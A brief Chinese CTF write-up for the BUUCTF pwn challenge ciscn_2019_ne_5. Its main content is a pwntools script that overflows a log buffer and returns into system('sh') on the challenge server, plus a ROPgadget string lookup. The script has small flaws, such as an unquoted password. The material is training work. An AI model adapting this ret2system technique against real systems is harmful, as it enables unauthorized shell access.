先点进去 cat flag 说了 在 1 log中

from pwn import*
r=remote('node3.buuoj.cn',26204)
sys=0x80486b9
sh=0x080482ea
r.sendlineafter("Please input admin password:",administrator)
r.sendlineafter("0.Exit\n:",1)
payload='a'*(0x48+4)+p32(sys)+p32(sh)
r.sendlineafter("Please input new log info:",payload)
r.sendlineafter("0.Exit\n:",4)
r.interactive()

这道题只给了 sys的地址, 那么 ‘bin/sh’ ‘sh’ 可能也是存在的;

手动查找一下其地址

命令ROPgadget --binary 文件 --string 'sh'

BUUCTF(pwn)ciscn_2019_ne_5相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. SSM前后端分离及跨域
  2. svn之迁移代码技巧
  3. shell 脚本中特殊变量
  4. MySQL innosetup_jdk,tomcat,mysql,innosetup封装
  5. get post put delete在vue中传参方式
  6. 推荐一个vs自带工具分析代码的复杂度
  7. But how to do it? How to avoid direct competition with giants?
  8. java 导出表 sql_java中把SQL数据库中的表导出到excel中.怎么实现
  9. Golang教程:结构体
  10. 聚合四方支付系统架构及所需配置
  11. jquery和ajax实战教程电子书,《jQuery和Ajax实战教程》邵山欢_孔网
  12. 基于深度学习的身份证号码识别方法
  13. 2022-2027年中国新能源汽车功率电子行业市场全景评估及发展战略规划报告
  14. 魔兽世界燃烧的远征服务器状态,6月2日加入“燃烧的远征” 立刻了解《魔兽世界》经典怀旧服的服务器抉择...
  15. 渐近记号Θ、Ο、o、Ω、ω详解
  16. CTF Crypto---RSA N不互素
  17. python使用大漠插件教程_python调用大漠插件教程05字库
  18. 【OCR系列之一】字符识别技术总览
  19. MD5是用来加密的吗?BCrypt又是什么呢
  20. 正则系列之断言Assertions

热门文章

  1. IntelliJ IDEA下载激活
  2. 细说多线程(六) —— 异步 SqlCommand
  3. JS的document.all函数使用 示例
  4. 两数组的交集(无重复)Intersection of Two Arrays
  5. facebook海量图片存储系统与淘宝TFS系统比较
  6. Java虚拟机——Java内存区域与内存溢出
  7. SpringMvc多视图整合(jsp、velocity、freemarker)
  8. 基于corosync和NFS服务器实现LNMP的高可用
  9. 我提出辞职,老板竟然让我做选择题(转)
  10. python中的取余运算符是_python取余运算